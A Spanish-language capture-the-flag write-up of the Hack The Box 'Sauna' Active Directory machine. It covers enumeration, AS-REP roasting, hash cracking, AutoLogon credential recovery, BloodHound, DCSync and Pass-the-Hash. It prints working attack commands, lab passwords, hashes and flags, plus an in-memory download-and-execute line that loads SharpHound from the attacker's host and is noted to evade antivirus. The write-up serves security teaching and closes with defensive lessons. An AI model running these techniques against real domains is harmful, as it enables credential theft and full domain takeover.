Sauna
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Sauna es un Active Directory de manual. La web del banco filtra los nombres del equipo y LDAP confirma alguno más, así que generamos una lista de usuarios probables y la pasamos por Kerberos:fsmithtiene la preautenticación desactivada, lo que habilita un AS-REP Roasting y nos entrega un hash que cae a diccionario (Thestrokes23). Con esas credenciales entramos por WinRM, ywinPEASdescubre las credenciales de AutoLogon del serviciosvc_loanmgr. Ese usuario tieneGetChangesAllsobre el dominio, lo que permite un DCSync para volcar el hash NT de Administrator y entrar con Pass-the-Hash. Sin un solo CVE: enumeración de usuarios, una contraseña débil y un permiso de replicación mal delegado.
Reconocimiento
Ping
Empezamos con un ping para mirar el TTL, que da una pista rápida de la familia del sistema operativo: valores de hasta ~64 suelen ser Linux y de ~128, Windows.
ping -c 1 10.10.10.175
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=102 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Barrido UDP
Antes del TCP, un vistazo a los 100 puertos UDP más comunes. Aquí, a diferencia de otras máquinas, no sale vacío:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.175 | grep -v 'no-response'
Initiating UDP Scan at 23:23
Discovered open port 88/udp on 10.10.10.175
Discovered open port 123/udp on 10.10.10.175
Discovered open port 53/udp on 10.10.10.175
Completed UDP Scan at 23:23, 1.42s elapsed (100 total ports)
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 127
88/udp open kerberos-sec udp-response ttl 127
123/udp open ntp udp-response ttl 127Tres puertos que juntos son una firma: DNS (53) + Kerberos (88) + NTP (123). Un Controlador de Dominio de Active Directory necesita los tres (DNS para localizar servicios por SRV, Kerberos para autenticar y NTP porque los tickets Kerberos caducan por reloj). Antes de tocar TCP ya sabemos ante qué estamos.
Escaneo de puertos
Lanzamos un SYN scan a todos los puertos con un --min-rate alto y guardamos la salida en formato grepeable para reutilizar la lista de puertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.175 -oG scan
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49677/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49696/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 26.49 secondsVeinte puertos, no catorce: los seis del rango 49xxx son el rango dinámico de RPC, y conviene listarlos porque son los que usan secretsdump y compañía cuando negocian por RPC. Los ttl 127 confirman el ping.
extractPorts scan
Extracting information...
IP Address: 10.10.10.175
Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49696
Ports copied to clipboardUn segundo escaneo identifica versiones y lanza los scripts por defecto sobre esos puertos:
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49696 -sCV 10.10.10.175
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-15 04:29:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-15T04:30:11
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m00sEl conjunto de servicios no deja dudas: Kerberos (88), LDAP (389/636) con su catálogo global (3268/3269), kpasswd (464), ADWS (9389) y SMB (445). Es un Controlador de Dominio de Active Directory, y el escaneo nos regala dos datos de oro: el dominio EGOTISTICAL-BANK.LOCAL y un IIS en el puerto 80 con el título "Egotistical Bank". Además, WinRM (5985) está abierto: si conseguimos credenciales válidas, tendremos shell directamente.
Tres detalles de los host scripts que merecen apuntarse antes de seguir:
clock-skew: 7h00m00s. El reloj del DC va siete horas por delante del nuestro, muy por encima de los cinco minutos que Kerberos tolera por defecto. Cualquier operación que pida un ticket (GetNPUsers,GetUserSPNs, autenticación Kerberos) puede fallar con un error de skew hasta sincronizar el reloj con unntpdate. Aquí no llega a estorbar porquekerbruteconstruye su propioAS-REQ, pero es la causa número uno de fallos inexplicables en cajas de AD.Message signing enabled and required. La firma SMB es obligatoria, lo que descarta de entrada los ataques de relay NTLM: cualquier intento de retransmitir una autenticación sería rechazado.Potentially risky methods: TRACEen el IIS. Habilitar TRACE puede facilitar un XST (Cross-Site Tracing), aunque necesita XSS y navegadores antiguos. Se anota y se descarta.
Antes de seguir, mapeamos el dominio en /etc/hosts:
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.175 EGOTISTICAL-BANK.LOCALDNS - TCP/UDP 53
Con DNS abierto, probamos lo de siempre: registros básicos y un intento de transferencia de zona.
dig NS EGOTISTICAL-BANK.LOCAL @10.10.10.175
dig MX EGOTISTICAL-BANK.LOCAL @10.10.10.175
;; ANSWER SECTION:
EGOTISTICAL-BANK.LOCAL. 3600 IN NS sauna.EGOTISTICAL-BANK.LOCAL.
;; ADDITIONAL SECTION:
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN A 10.10.10.175
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN AAAA dead:beef::7c42:fe2c:a326:707a
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN AAAA dead:beef::238
;; QUESTION SECTION:
;EGOTISTICAL-BANK.LOCAL. IN MX
;; AUTHORITY SECTION:
EGOTISTICAL-BANK.LOCAL. 3600 IN SOA sauna.EGOTISTICAL-BANK.LOCAL. hostmaster.EGOTISTICAL-BANK.LOCAL. 48 900 600 86400 3600El NS confirma que el DC se llama sauna y, de paso, deja ver dos direcciones IPv6. El MX no tiene ANSWER (solo el SOA de autoridad), así que no hay servidor de correo. La transferencia de zona:
dig axfr EGOTISTICAL-BANK.LOCAL @10.10.10.175
; <<>> DiG 9.20.11-4+b1-Debian <<>> axfr EGOTISTICAL-BANK.LOCAL @10.10.10.175
;; global options: +cmd
; Transfer failed.Transfer failed., que es lo normal en un DC bien configurado (la AXFR solo se permite a los secundarios declarados). DNS no nos da vía de entrada.
La teoría del IPv6 (descartada)
Las direcciones IPv6 del dig abren una posibilidad que merece la pena probar: en muchas redes reales las reglas del cortafuegos se escriben solo para IPv4 y la pila IPv6 queda sin filtrar, exponiendo puertos que por IPv4 estaban cerrados.
nmap -sS --min-rate 5000 -Pn -n -vvv --open dead:beef::7c42:fe2c:a326:707a -6
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
88/tcp open kerberos-sec syn-ack ttl 63
135/tcp open msrpc syn-ack ttl 63
389/tcp open ldap syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
464/tcp open kpasswd5 syn-ack ttl 63
593/tcp open http-rpc-epmap syn-ack ttl 63
636/tcp open ldapssl syn-ack ttl 63
3268/tcp open globalcatLDAP syn-ack ttl 63
3269/tcp open globalcatLDAPssl syn-ack ttl 63
5985/tcp open wsman syn-ack ttl 63
Not shown: 988 filtered tcp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 2.22 secondsLa teoría no aplica aquí: por IPv6 aparecen menos puertos que por IPv4, no más. Falta el 139 (NetBIOS, que es intrínsecamente IPv4), el 9389 y todo el rango dinámico de RPC. Además el escaneo solo recorrió los 1000 puertos por defecto, no los 65535. Vía descartada, pero la comprobación cuesta dos segundos y en un entorno real habría podido regalar la caja.
Web - TCP 80
El IIS sirve la página corporativa del banco. La sección "Meet The Team" es justo lo que buscamos en un AD: una lista de empleados con nombre y apellido.

Apuntamos los nombres. Todavía no sabemos el formato de los samAccountName, pero estos nombres son la materia prima para generar candidatos de usuario más adelante.
SMB y RPC - TCP 445 / 135
Antes de fabricar usuarios a ciegas, intentamos que el propio dominio nos los entregue. La sesión nula contra RPC es lo primero:
rpcclient 10.10.10.175 -U '' -N
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIEDAquí hay un matiz que conviene no pasar por alto: la sesión nula se establece (rpcclient entrega su prompt sin quejarse), pero las consultas devuelven ACCESS_DENIED. Conectar y consultar son permisos distintos: el DC acepta la conexión anónima pero no deja enumerar el SAM.
Lo mismo por SMB:
crackmapexec smb 10.10.10.175 -u '' -p '' --shares
crackmapexec smb 10.10.10.175 -u '' -p '' --users![crackmapexec autenticando con [+] EGOTISTICAL-BANK.LOCAL\: pero devolviendo STATUS_ACCESS_DENIED al enumerar recursos y un aviso de que NTLM necesita usuario y contraseña para los usuarios](../assets/img/sauna/sauna-000005.webp)
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\:
SMB 10.10.10.175 445 SAUNA [-] Error enumerating shares: STATUS_ACCESS_DENIED
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\:
SMB 10.10.10.175 445 SAUNA [-] Error enumerating domain users using dc ip 10.10.10.175: NTLM needs domain\username and a password
SMB 10.10.10.175 445 SAUNA [*] Trying with SAMRPC protocolEl [+] EGOTISTICAL-BANK.LOCAL\: confirma otra vez lo mismo: la sesión nula es aceptada (el [+] significa autenticación correcta con usuario y contraseña vacíos), pero listar recursos da STATUS_ACCESS_DENIED. De paso, el banner confirma el signing:True que ya había dicho nmap.
Probamos con otras dos herramientas, porque no todas negocian igual:
smbmap -H 10.10.10.175 -k
[*] Detected 1 hosts serving SMB
[!] Authentication error on 10.10.10.175 invalid principal syntax
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.10.10.175, no fun for you...
[*] Closed 1 connectionssmbclient -L 10.10.10.175 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availableLas tres herramientas dicen lo mismo con palabras distintas: el login anónimo funciona, la enumeración no. smbclient incluso imprime Anonymous login successful y a continuación una tabla vacía. El acceso anónimo está restringido, así que no podremos hacer RID cycling ni listar shares. No es un callejón sin salida, solo nos obliga a sacar los usuarios por otra vía.
LDAP - TCP 389
LDAP suele ser más hablador que SMB aunque no tengamos credenciales. Primero preguntamos por los contextos de nombres, es decir, las bases sobre las que se puede buscar:
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
# search result
search: 2
result: 0 SuccessQue esta consulta funcione sin credenciales es normal: el RootDSE es público por diseño, porque un cliente necesita saber contra qué base buscar antes de autenticarse. Con el DN base confirmado, volcamos todos los objetos del árbol:
ldapsearch -x -H ldap://10.10.10.175 -b "DC=EGOTISTICAL-BANK,DC=LOCAL" "(objectClass=*)" | grep dn
dn: DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
...
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCALEntre los contenedores típicos (Users, Computers, Domain Controllers...) aparece un objeto que no es de sistema: CN=Hugo Smith. El DN no nos da el samAccountName, pero sí un nombre real más para la lista. Con los nombres de la web y este de LDAP, ya tenemos suficiente para generar candidatos.
Shell como fsmith
Lista de usuarios con username-anarchy
Primero juntamos en un fichero todos los nombres reales recogidos, los seis de la web más el de LDAP:
nano Users
cat Users
Hugo Smith
Hugo Bear
Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven KerbNo sabemos si el dominio usa fsmith, fergus.smith o ferguss, así que probamos todos los formatos a la vez. username-anarchy toma nombres reales y genera las permutaciones habituales:
./username-anarchy --input-file Users --select-format first,flast,first.last,firstl > unames.txt
cat unames.txt
hugo
hugo.smith
hugos
hsmith
hugo.bear
hugob
hbear
fergus
fergus.smith
ferguss
fsmith
shaun
shaun.coins
...
skerbObtenemos una lista corta y razonable de posibles samAccountName. El siguiente paso es preguntarle a Kerberos cuáles existen de verdad.
AS-REP Roasting con kerbrute
kerbrute (repo) valida usuarios contra Kerberos sin necesidad de credenciales: por cada nombre de la lista pide un AS-REQ y observa la respuesta del KDC. Y hace algo más: si un usuario tiene la preautenticación de Kerberos desactivada, el KDC entrega directamente la parte cifrada del AS-REP, que es justo lo que ataca el AS-REP Roasting.
./kerbrute_static userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 unames.txt
[+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
[+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:cd7cc9824d4cc590470c0239d745cce6$1ff46addcdf...
[+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
Done! Tested 27 usernames (2 valid) in 0.853 secondsDos usuarios válidos de veintisiete candidatos, hsmith y fsmith, y este último con la preautenticación desactivada. Eso significa que su contraseña queda expuesta a un crackeo offline del AS-REP. Conviene recordar que esto depende de una mala configuración concreta (el flag DONT_REQ_PREAUTH): no todos los usuarios son AS-REP roasteables, solo los que la tienen puesta.
Crackeo del hash con hashcat
kerbrute ya vuelca un AS-REP, pero para crackear con hashcat usamos su variante en RC4 (etype 23), que es la que ataca el modo 18200. Guardamos el hash en un fichero y lo lanzamos contra rockyou.txt:
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:753e026497de02cc1df62d639a61dde8$be8e56f...:Thestrokes23La contraseña de fsmith es Thestrokes23. Antes de usarla, validamos dónde funciona.
Validación y acceso por WinRM
Probamos las credenciales contra SMB y WinRM con crackmapexec, que nos dice no solo si son válidas sino si nos dan acceso interactivo:
crackmapexec smb 10.10.10.175 -u fsmith -p Thestrokes23
crackmapexec winrm 10.10.10.175 -u fsmith -p Thestrokes23
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)SMB acepta las credenciales pero no da shell; WinRM responde con (Pwn3d!), lo que significa que fsmith está en el grupo Remote Management Users. Esa distinción entre [+] y (Pwn3d!) es la que decide por dónde entrar: autenticar no es lo mismo que poder ejecutar. Entramos con evil-winrm:
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmithY con la shell, la primera flag:
type ..\Desktop\user.txt
7487801657e4012a6d1885875c1978f7Shell como svc_loanmgr
winPEAS: credenciales de AutoLogon
Tenemos shell pero fsmith es un usuario raso. Subimos winPEAS (repo) para enumerar el sistema en busca de vías de escalada o de pivote a otro usuario. Elegimos la variante any_ofs (10 MB) porque es la compilada para cualquier arquitectura y con ofuscación básica:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe &>/dev/null
ls -l | grep winupload /home/krmena/machines/sauna/content/winPEASany_ofs.exe
-rw-r--r-- 1 root root 10026496 Oct 7 11:16 winPEASany_ofs.exe
Info: Uploading /home/krmena/machines/sauna/content/winPEASany_ofs.exe to C:\Users\FSmith\Documents\winPEASany_ofs.exe
Data: 13368660 bytes of 13368660 bytes copied
Info: Upload successful!Los 13368660 bytes copiados frente a los 10026496 del fichero no son un error: evil-winrm sube en base64 sobre WinRM, y esa codificación infla el tamaño aproximadamente un tercio.
.\winPEASany_ofs.exe
[!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'file analysis' or 'all' argument.
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
WinPEAS-ng by @hacktricks_live
[+] Legend:
Red Indicates a special privilege over an object or something is misconfigured
Green Indicates that some protection is enabled or something is well configured
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!El hallazgo clave aparece en la sección de AutoLogon. AutoLogon es una comodidad de Windows que permite iniciar sesión sin teclear la contraseña; el problema es que la guarda en claro en el registro, bajo HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. winPEAS (repo) la lee por nosotros, pero es la misma consulta que se puede lanzar a mano:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!Pivote fsmith → svc_loanmgr
svc_loanmanager es el nombre que figura en el registro, pero no tiene por qué coincidir con el samAccountName real. Lo comprobamos listando los perfiles de C:\Users:
dir C:\Users
Directory: C:\users
Mode LastWriteTime Name
---- ------------- ----
d---- 1/25/2020 1:05 PM Administrator
d---- 1/23/2020 9:52 AM FSmith
d-r-- 1/22/2020 9:32 PM Public
d---- 1/24/2020 4:05 PM svc_loanmgrEl perfil real es svc_loanmgr (no svc_loanmanager). Con ese nombre y la contraseña del AutoLogon, validamos:
crackmapexec smb 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' 2>/dev/null
crackmapexec winrm 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' 2>/dev/null![crackmapexec validando svc_loanmgr en SMB con [+] y en WinRM con (Pwn3d!)](../assets/img/sauna/sauna-142815.webp)
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
SMB 10.10.10.175 5985 SAUNA [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)El nombre corregido funciona y, de nuevo, WinRM da (Pwn3d!). Entramos:
evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami /all
USER INFORMATION
User Name SID
egotisticalbank\svc_loanmgr S-1-5-21-2966785786-3096785034-1186376766-1108Ya somos svc_loanmgr. Una cuenta de servicio suele tener permisos delegados que un usuario normal no tiene, así que toca mapear el dominio para ver qué puede hacer.
BloodHound
Recoger los datos con SharpHound
SharpHound es el recolector: recorre el dominio por LDAP y SMB y empaqueta todo en un ZIP de JSON que BloodHound sabe leer. Existe en .exe, .ps1 y .bat; usamos el .ps1 porque se puede cargar en memoria sin escribir nada en disco, lo que evita el antivirus.
wget https://raw.githubusercontent.com/puckiestyle/powershell/refs/heads/master/SharpHound.ps1
python3 -m http.server 80IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.6/SharpHound.ps1')
Length: 973325 (951K) [text/plain]
Saving to: 'SharpHound.ps1'
SharpHound.ps1 100%[==================>] 950.51K --.-KB/s in 0.05s
2025-10-15 14:35:15 (17.6 MB/s) - 'SharpHound.ps1' saved [973325/973325]
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.175 - - [15/Oct/2025 14:35:48] "GET /SharpHound.ps1 HTTP/1.1" 200 -El 200 en el log del servidor es la confirmación de que la víctima descargó el script; el IEX no imprime nada porque solo define funciones en la sesión.
Invoke-BloodHound -CollectionMethod All
dir
Directory: C:\Users\svc_loanmgr\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/15/2025 12:54 PM 9134 20251015125401_BloodHound.zip
-a---- 10/15/2025 12:54 PM 11122 ZDFkMDEyYjYtMmE1ZS00OWY3LTk0OWItYTM2OWVmMjc5NDVk.binNueve kilobytes: es un dominio pequeño. El .bin de nombre aleatorio es la caché de sesión de SharpHound, no hace falta.
download 20251015125401_BloodHound.zip data.zip
Info: Downloading C:\Users\svc_loanmgr\Documents\20251015125401_BloodHound.zip to data.zip
Info: Download successful!
-rw-r--r-- 1 root root 9134 Oct 15 14:56 data.zipMontar BloodHound
BloodHound 4.x guarda el grafo en una base Neo4j, y esa versión de Neo4j exige Java 11: con el Java 21 por defecto de Kali no arranca. Se cambia con update-alternatives:
update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
------------------------------------------------------------------------------
* 0 /usr/lib/jvm/java-21-openjdk-amd64/bin/java 2111 auto mode
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode
2 /usr/lib/jvm/java-21-openjdk-amd64/bin/java 2111 manual mode
Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual modeCon el Java correcto, primero la base de datos y luego la interfaz:
./neo4j console./BloodHound --disable-gpu --no-sandbox
Directories in use:
home: /home/krmena/machines/forest/exploits/neo4j-community-4.4.0
config: .../conf
logs: .../logs
plugins: .../plugins
data: .../data
Starting Neo4j.
2025-10-15 12:51:16.740+0000 INFO Starting...El orden importa: si BloodHound arranca antes que Neo4j, no encuentra a qué conectarse. La interfaz pide las credenciales de la base (las que se fijaron al inicializar Neo4j) y, una vez dentro, aparece el lienzo vacío:

Si se usó BloodHound en una máquina anterior, la base todavía tiene aquellos datos y hay que limpiarla para que el grafo no mezcle dominios:


Con la base limpia, subimos el ZIP de SharpHound:


UNZIPPING FILE DATA.ZIP
20251015125401_groups.json Upload Complete 100%
20251015125401_users.json Upload Complete 100%
20251015125401_gpos.json Upload Complete 100%Analizar el grafo
Empezamos por lo obvio: quién es administrador del dominio.

Solo está Administrator: no hay un usuario intermedio cómodo, hay que llegar al administrador directamente.
Marcamos como owned a los dos usuarios que ya controlamos (fsmith y svc_loanmgr). No es cosmético: BloodHound usa esa marca para calcular las consultas de tipo "Shortest Path from Owned Principals", es decir, rutas que parten de lo que ya tenemos.


Revisamos el control de objetos de primer grado de svc_loanmgr y aparece un único privilegio, pero demoledor: tiene GetChanges y GetChangesAll sobre el dominio.

Pinchando con el botón derecho sobre la propia arista del grafo, BloodHound ofrece su ayuda contextual:


Help: GetChangesAll [Info | Abuse Info | Opsec Considerations | References]
The user SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL has the DS-Replication-Get-Changes-All
privilege on the domain EGOTISTICAL-BANK.LOCAL.
Individually, this edge does not grant the ability to perform an attack. However, in
conjunction with DS-Replication-Get-Changes, a principal may perform a DCSync attack.La frase clave es "Individually, this edge does not grant the ability to perform an attack": hacen falta los dos derechos, y aquí el grafo muestra las dos aristas (GetChanges y GetChangesAll) desde svc_loanmgr hacia el dominio. La pestaña Abuse Info del propio BloodHound da el comando:

Shell como Administrator
DCSync: abuso de GetChangesAll
GetChanges junto con GetChangesAll son, en esencia, los derechos que un Controlador de Dominio usa para replicarse con otro. Con ellos podemos pedir una replicación y que el DC nos entregue el hash NT de cualquier cuenta, incluida la de Administrator. Es el ataque DCSync, que secretsdump.py automatiza. Como ya tenemos la contraseña de svc_loanmgr, ni siquiera hace falta una shell:
secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
...Tenemos el hash NT de Administrator: 823452073d75b9d1cf70ebdf86c7f98e.
Pass-the-Hash
No hace falta crackear nada: nos autenticamos con el hash usando Pass-the-Hash sobre WinRM.
evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administratorY la flag final:
type ..\Desktop\root.txt
d2a7dbea498e3b9dd60836a390d311d6Dominio comprometido. Máquina rooteada.
Cadena de ataque
Toda la ruta, del primer nombre en la web al hash de Administrator, en un vistazo:
UDP 53/88/123 + TCP 88/389/445 ─► es un Controlador de Dominio
│ RPC/SMB anónimos: sesión aceptada, enumeración DENEGADA
│ IPv6: menos puertos que IPv4 (teoría descartada)
▼
web "Meet The Team" + LDAP ─► nombres de empleados
│ username-anarchy + kerbrute (2 válidos de 27)
▼
fsmith (sin preauth)
│ AS-REP Roasting ─► hashcat (Thestrokes23) ─► WinRM ─► user.txt
▼
winPEAS ─► credenciales de AutoLogon (svc_loanmanager ≠ svc_loanmgr)
▼
svc_loanmgr
│ SharpHound + BloodHound ─► GetChanges + GetChangesAll
│ DCSync (volcado del NTDS)
▼
Administrator (root.txt) ◄─ Pass-the-Hash sobre WinRMLecciones aprendidas
- En Active Directory, enumerar usuarios es media batalla. Sin una sola credencial, la web y LDAP nos dieron nombres reales, y
username-anarchylos convirtió ensamAccountNameplausibles que Kerberos confirmó. La defensa no es ocultar los nombres (suelen acabar siendo públicos), sino que ninguna cuenta sea AS-REP roasteable ni tenga contraseñas de diccionario. - Autenticar no es enumerar.
rpcclient,crackmapexecysmbclientaceptaron la sesión nula (Anonymous login successful,[+] EGOTISTICAL-BANK.LOCAL\:) y aun así devolvieronACCESS_DENIEDal listar. Son permisos distintos, y confundirlos lleva a descartar un servicio que todavía puede dar información. - AS-REP Roasting depende de una mala configuración concreta. Solo las cuentas con la preautenticación de Kerberos desactivada (
DONT_REQ_PREAUTH) entregan un hash crackeable offline. No es un automatismo: hay que buscarlas. Una vez encontrada, el muro real es la fortaleza de la contraseña, yThestrokes23no lo era. - El
clock-skewde nmap explica fallos que parecen mágicos. Siete horas de desfase superan de largo los cinco minutos que Kerberos tolera; cuando una herramienta que pide tickets falla sin motivo aparente, lo primero es mirar ese campo y sincronizar conntpdate. - AutoLogon guarda la contraseña en claro en el registro. Es una comodidad cara: cualquiera con una shell en el equipo puede leer
Winlogony obtener credenciales de servicio. Si se necesita inicio automático, conviene usar cuentas gestionadas (gMSA) y nunca cuentas con privilegios delegados sobre el dominio. - DCSync es un control de integridad del dominio, no "una credencial más".
GetChangesconGetChangesAllequivalen a poder replicar el NTDS completo; con ellos cae también el hash dekrbtgt, y conkrbtgtvienen Golden Tickets y persistencia total. Esos derechos solo deberían estar en los propios DC y en cuentas de replicación, nunca delegados a una cuenta de servicio comosvc_loanmgr. - El nombre del registro no es el del usuario. Un detalle fácil de pasar por alto: el AutoLogon decía
svc_loanmanager, pero elsamAccountNameerasvc_loanmgr. Cotejar siempre contraC:\Users(o el propio AD) antes de dar por muerta una credencial que "no funciona".